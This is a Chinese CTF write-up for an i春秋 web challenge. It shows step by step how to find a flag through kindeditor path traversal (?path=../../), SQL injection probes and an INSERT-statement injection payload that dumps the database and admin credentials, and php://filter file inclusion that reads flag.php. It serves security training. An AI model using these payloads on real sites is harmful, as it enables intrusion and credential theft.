zoukankan      html  css  js  c++  java
  • i春秋Blog

    打开是个普普通通的hello world

    然后有注册有登录

    不多说我们直接注册登录试试

    登录后有个POST选项,可以上传东西,先试试上传文字

    没什么重要的回显

    再上传一个文档试试

    爆出提示:这里使用的是kindeditor编辑器

    百度kindeditor漏洞然后利用(给出一篇的链接https://www.jb51.net/hack/367946.html

    这里通过访问url/kindeditor/php/file_manager_json.php即可看到目录

    再通过?path=来访问文件夹及文件

    先试试/kindeditor/php/file_manager_json.php?path=/

    有回显,成功了

    再通过

    ?path=../

    ?path=../../

    ?path=../../../

    来访问一层层的文件夹

    在第二层找到了一个flag.php文件

    尝试url/kindeditor/php/file_manager_json.php?path=../../flag.php    。。。不行

    尝试url/flag.php

    ...............

    断了,flag不在这里

    尝试在上传输入框中进行注入

    1' or '1'='1

    1' or '1'='0

    发现回显不一样,肯定存在注入了就

     

    这里尝试普通的注入不行,unionselect都被屏蔽了

    所以使用dalao的特别注入法

    猜想后台sql语句形似:INSERT INTO TABLENAME(A,B,C) VALUES($A,$B,$C);

    然后我们在变量A,B,C的位置上进行注入

    insert into tableA values(A1,B1,C1), (A2,B2,C2) 这句话即将两个不同的元组插入到tableA

    这里构造的insert语句类似于 ... values('aaa','testpayload2','test')#就注释掉了

    尝试在文字框中输入test')#

    爆错

    猜测的insert字段有误,既然不是三个,更不可能是两个,受控制的部分已经有两个了,因此推测insert语句的字段数为4

    test','X')#

    没有报错

    再构造test','X'),('123',(SELECT database()),'content爆出数据库

    (在不影响第二条payloadX字段的情况下将整个insert语句闭合了,成功插入,这条insert即将database()   select出来)

    再一步步的select 表,列,行,字段

    得到userpassword

    这里用找到的adminmelody123来登录

    发现多了个manage栏,试试

    结果发现在url栏存在文件包含

    直接用php://filter来读文件flag.php

    http://2ec1ede328db494eb0dbf2567855db9fbb9db7d06a2040f4.changame.ichunqiu.com/blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php

    一看就是base64解码

    解密得到flag

  • 相关阅读:
    Centos7,PHP7安装swoole
    安装最新LAMP环境(CentOS7+PHP7.1.5+Mysql5.7)
    PHP7性能提升原因
    Git 图文教程
    centos下安装mongodb和php的mongo扩展
    linux如何把普通用户添加到sudo组
    Linux常用的三种软件安装方式
    PHP几个常用的概率算法
    java面向对象知识(上)
    linux中tar命令用法
  • 原文地址:https://www.cnblogs.com/wosun/p/11505981.html
Copyright © 2011-2022 走看看